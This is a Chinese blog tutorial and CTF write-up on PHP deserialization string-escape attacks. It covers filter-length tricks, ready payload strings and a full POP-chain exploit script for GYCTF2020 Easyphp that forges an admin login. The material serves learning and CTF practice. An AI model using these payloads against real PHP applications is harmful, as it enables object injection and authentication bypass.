PHP 反序列化字符逃匿

admin 2022年1月6日01:43:32评论62 views字数 9577阅读31分55秒阅读模式

PHP 反序列化逃匿学习小记

漏洞原因

在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。

PHP 反序列化特性

  1. PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。
  2. 在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败
  3. 对类中不存在的属性也会进行反序列化

逃匿类型

过滤后字符变多

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include 'flag.php';
function filter($string){
return str_replace('x','yy',$string);
}
$username = $_GET['u'];
$password = "aaa";
$user = array($username, $password);
$s = serialize($user);
$r = filter($s);
echo $r;
$a= unserialize($r);
if($a[1]==='admin'){
echo $flag;
}
highlight_file(__FILE__);

?>

此题中对序列化字符串中的x替换为yy,可能导致字符串长度增加。

当传入u=admin,序列化为

1
a:2:{i:0;s:5:"admin";i:1;s:3:"aaa";}

反序列化后满足不了$a[1]==='admin'条件

当传入u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";},此时替换序列化的结果为

1
a:2:a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}

此时yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy的长度刚好为38,不会报错,再加上后面的;i:1;s:5:”admin”;}成功反序列化,后面的就被忽略了。

x个数的计算
首先我们要确定需要添加的内容,也就是后面一串,即”;i:1;s:5:”admin”;},长度为19(设为m),满足以下式子(设有n个x字符,”;i:1;s:5:”admin”;}前面有y个非x字符):

1
n+y+m=2n+y // 原来字符串的长度 = 替换后去掉m的长度

解方程得n=19,即我们要有19个x,y随意,从等式可以看出抵消了

如果碰到除不尽的情况,我们可以在”;i:1;s:5:”admin”;}前面增加一些非x字符,类似

1
a";i:1;s:5:"admin";}

此时m的长度大于19
添加非x字符是错误的,因为永远也减少不了这些字符,如果出现不整除的情况,应该是还有其他替换字符的选项。

过滤后字符变少

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include 'flag.php';
function filter($string){
return str_replace('sec','',$string);
}
$username = $_GET['u'];
$password = $_GET['p'];
$auth="guest";
$user = array($username, $password,$auth);
$s = serialize($user);
$r = filter($s);
echo $r;
$a= unserialize($r);
if($a[2]==='admin'){
echo $flag;
}
highlight_file(__FILE__);

?>

要想得到flag,就要使得”;i:2;s:5:”admin”;},长度为19,经过观察序列化后”;i:1;s:这部分是不会改变的,因为整个payload肯定是不超过100个字符的,所以加上后面的长度”;i:1;s:xx:” 为12个字符,这里存在着sec的替换,我们可以输入4个sec替换为空格,刚好空出12个字符,可以将”;i:1;s:xx:”这12个字符反序列化后在第一个元素值中,使得后面逃匿。
最后payload

1
u=secsecsecsec&p=";i:1;s:4:"eval";i:2;s:5:"admin";}

也可以多添加几个sec,假设为5个,此时空出15个字符,减去”;i:1;s:xx:”这12个字符,还剩下3个,可以再输入三个字符填充。

1
u=secsecsecsecsec&p=123";i:1;s:4:"eval";i:2;s:5:"admin";}

例题

2020安恒四月月赛

安恒杯月赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$e = serialize($a);
$c = write($e);
echo $c;
echo "</br>";
$d = read($c);
echo $d;
echo "</br>";
$b = unserialize($d);
?>

反序列利用链接为

1
B __destruct() -> C __toString()

正常利用序列化链为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
// function __destruct(){
// $c = 'a'.$this->b;
// echo $c;
// }
}
class C{
public $c;
// function __toString(){
// echo file_get_contents($this->c);
// return 'nice';
// }
}
$c=new C;
$c->c='flag.php';
$b=new B;
$b->b=$c;
$ser=new A("test",$b);
echo serialize($ser);
?>

序列化结果

1
O:1:"A":2:{s:8:"username";s:4:"test";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

下面是我们实际上要添加的字符串

1
";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

这里write()中将'chr(0) . '*' . chr(0)'替换为'\0\0\0',长度由3变成6,增加三个字符,read()中'\0\0\0'替换为chr(0) . '*' . chr(0),长度由6变成3,减少3个字符。 先write()操作后read(),这里只能用字符缩短的逃匿方法。

正常序列化的字符串

1
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}

其中要利用username吃掉后面的";s:8:"password";s:xx:",为23个字符。
可以用6个\0\0\0,可以减少24个字符,多减少了一个字符,在实际上要添加的字符串可以在多填上一个字符即可。

此时payload为

1
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

PHP 反序列化字符逃匿

[GYCTF2020]Easyphp

lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

参考https://blog.csdn.net/mochu7777777/article/details/105175949/

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;

public function __destruct()
{
echo $this->sql;
}
}
class User
{
public $id;
public $age=null;
public $nickname=null;

public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;

public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

$up=new UpdateHelper();
$user=new User();
$info=new Info();
$db=new dbCtrl();

$up->sql=$user;
$user->nickname=$info;
$user->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$info->CtrlCase=$db;
$db->name="admin";
$db->password="1";

$s=serialize($up);

$pre='";s:8:"CtrlCase";';
$end="}";
$payload=$pre.$s.$end;
echo "\n";
//echo $payload;

$length=strlen($payload);

$union="";
for($i=0;$i<strlen($payload);$i++){
$union .="union";
}
echo $union.$payload;

参考文章:
PHP反序列化字符逃逸
浅析php反序列化字符串逃逸

详情可看此篇文章: PHP反序列化字符逃逸

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:43:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP 反序列化字符逃匿http://cn-sec.com/archives/722419.html

发表评论

匿名网友 填写信息